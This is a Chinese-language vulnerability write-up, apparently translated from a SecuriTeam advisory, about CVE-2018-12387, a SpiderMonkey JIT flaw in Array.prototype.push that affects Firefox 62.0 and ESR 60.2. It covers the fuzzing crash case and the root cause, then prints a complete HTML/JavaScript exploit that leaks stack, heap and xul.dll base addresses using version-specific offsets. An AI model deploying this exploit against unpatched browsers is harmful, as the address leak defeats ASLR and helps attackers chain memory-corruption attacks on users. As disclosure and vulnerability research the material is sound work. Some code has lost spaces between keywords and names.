Firefox信息泄漏漏洞的技术分析（CVE-2018-12387）

前言

研究发现，JavaScript JIT编辑器中的Array.prototype.push有多个存在安全问题的参数，而这些参数共同导致了这个信息泄漏漏洞的出现。这个漏洞会将内存地址泄露给一个相关调用函数，攻击者将能够使用这个地址来进一步实施攻击。

厂商回复

这个安全漏洞已经在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修复。

漏洞CVE编号

CVE-2018-12387

漏洞发现者

BrunoKeith和NiklasBaumstark，独立安全研究员，在发现该漏洞之后他们便将漏洞信息上报给了Beyond Security的SecuriTeam安全披露项目。

受影响的系统

Firefox 62.0
Firefox ESR 60.2

漏洞详情

在对Spidermonkey（Mozilla的JavaScript引擎，采用C++编写）进行模糊测试的过程中，我们用下面这段代码成功触发了一次调试断言（Debug Assertion）：

functionf(o) {
       var a = [o];
       a.length = a[0];
       var useless = function () {}
       var sz = Array.prototype.push.call(a, 42,43);
       (function () {
              sz;
       })(new Boolean(false));
}
for(var i = 0; i < 25000; i++) {
       f(1);
}
f(2);

上述代码触发了如下所示的断言（Assertion）：

Assertion failure: isObject() and crashes in release
Build

根本原因分析

在运行JIT编译器生成的代码时，函数f生成了上述断言。

接下来，我们一起看一看JIT代码中的IR（中间表示）：

我们可以看到上图中的arraypusht指令，关于该指令的内容可参考【 这篇文档 】。函数中的注释信息表示，调用push命令的参数将会被分成多个单独的arraypush{t,v}指令。此时会触发断言，因为在调用函数时，栈指针没有被正确恢复。

在了解了错误发生的场景之后，我们需要从BaselineCompiler.cpp中寻找到负责执行syncStack(0)的操作码Handler，并通过peek()来获取栈地址值：

//Load lhs in R0, rhs in R1.
 frame.syncStack(0);
 masm.loadValue(frame.addressOfStackValue(frame.peek(-2)),R0);
 masm.loadValue(frame.addressOfStackValue(frame.peek(-1)),R1);
 // Call IC.
 ICSetProp_Fallback::Compiler compiler(cx);
 if(!emitOpIC(compiler.getStub(&stubSpace_)))
     return false;
 // Leave the object on the stack.
 frame.pop();

这个操作码会被下列JavaScript代码执行：

functionf() {
       var y = {};
       var o = {
              a: y
       };
}
dis(f);
 /* bytecode:
 00000: newobject ({}) # OBJ
 00005: setlocal 0 # OBJ
 00009: pop #
 00010: newobject ({a:(void 0)}) # OBJ
 00015: getlocal 0 # OBJ y
 00019: initprop "a" # OBJ
 00024: setlocal 1 # OBJ
 00028: pop #
 00029: retrval #
 */

Handler告诉了我们这个操作码是如何被编译的：R0被设置为了stack[top-1] = o，R1被设置为了stack[top] = y，接下来内部缓存会设置R0.a = R1。由于栈地址偏移，在下面的代码中会执行stack[top].a = stack[top+1]，因此我们可以在栈外获取一个JSValue：

vartest = {
       a: 13.37
};
 
functionf(o) {
       var a = [o];
       a.length = a[0];
       var useless = function () {}
       useless + useless;
       var sz = Array.prototype.push.call(a,1337, 43);
       (function () {
              sz
       })();
       var o = {
              a: test
       };
}
dis(f);
for(var i = 0; i < 25000; i++) {
       f(1);
}
f(100);
print(test.a);

/*bytecode:
...
00034:lambda function() {} # FUN
00039:setlocal 1 # FUN
00043:pop #
00044:getlocal 1 # useless
00048:getlocal 1 # useless useless
00052:add # (useless + useless)
00053:pop #
00054:getgname "Array" # Array
00059:getprop "prototype" # Array.prototype
00064:getprop "push" # Array.prototype.push
00069:dup # Array.prototype.push Array.prototype.push
00070:callprop "call" # Array.prototype.push Array.prototype.push.call
00075:swap # Array.prototype.push.call Array.prototype.push
00076:getlocal 0 # Array.prototype.push.call Array.prototype.push a
00080:uint16 1337 # Array.prototype.push.call Array.prototype.push a 1337
00083:int8 43 # Array.prototype.push.call Array.prototype.push a 1337 43
00085:funcall 3 # Array.prototype.push.call(...)
...
00104:newobject ({a:(void 0)}) # OBJ
00109:getgname "test" # OBJ test
00114:initprop "a" # OBJ
00119:setarg 0 # OBJ
00122:pop #
00123:retrval #

指令48只会将一个函数push进堆内存中，这样一来指令85（funcall）将不会抛出异常，因为它会尝试从栈中获取Array.prototype.push.call，但是有8字节的偏移量。并在我们的系统上打印出了2.11951350117067e-310，它是整型值0x27044d565235的double类型表示，而这是一个返回地址。最终的漏洞利用代码将能够利用这个缺陷来泄漏堆地址、栈地址和xul.dll的基地址。

漏洞利用代码

<script>
 
varconvert = new ArrayBuffer(0x100);
varu32 = new Uint32Array(convert);
varf64 = new Float64Array(convert);
 
varBASE = 0x100000000;
 
functioni2f(x) {
    u32[0] = x % BASE;
    u32[1] = (x - (x % BASE)) / BASE; ///
    return f64[0];
}
 
functionf2i(x) {
    f64[0] = x;
    return u32[0] + BASE * u32[1];
}
 
functionhex(x) {
    return `0x${x.toString(16)}`
}
 
vartest = {a:0x1337};
 
functiongen(m) {
    var expr = '1+('.repeat(m) + '{a:y}' +')'.repeat(m);
 
    var code = `
    f = function(o) {
        var y = test;
        var a = [o];
        a.length = a[0];
        var useless = function() { }
        useless + useless + useless + useless +useless + useless;
        var sz = Array.prototype.push.call(a,1337, 43);
        (function() { sz; })();
        var o = ${expr};
    }
    `;
    eval(code);
}
 
VERSION= '62.0';
 
functionexploit() {
    var xul = 0;
    var stack = 0;
    var heap = 0;
 
    var leak = [];
    for (var i = 20; i >= 0; --i) {
        gen(i);
        for (var j = 0; j < 10000; j++) {
            f(1);
        }
        f(100);
 
        var x = f2i(test.a);
 
        leak.push(x);
    }
 
    function xulbase(addr) {
        if (VERSION == '62.0') {
            var offsets = [
                0x92fe34,
                0x3bd4108,
            ];
        } else {
            alert('Unknown version: ' +VERSION);
            throw null;
        }
        var res = 0;
        offsets.forEach((offset) => {
            if (offset % 0x1000 == addr %0x1000) {
                res = addr - offset;
            }
        });
        return res;
    }
 
    xul = xulbase(leak[1]);
    stack = leak[0];
    heap = leak[3];
 
    var el = document.createElement('pre');
    el.innerText = (
        "XUL.dll base: " + hex(xul) +"\n" +
        "Stack: " + hex(stack) +"\n" +
        "Heap: " + hex(heap) +"\n" +
        "\nFull leak:\n" +leak.map(hex).join("\n"))
    document.body.appendChild(el);
}
</script>
 
<buttononclick="exploit()">Go</button>

* 参考来源： securiteam ，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM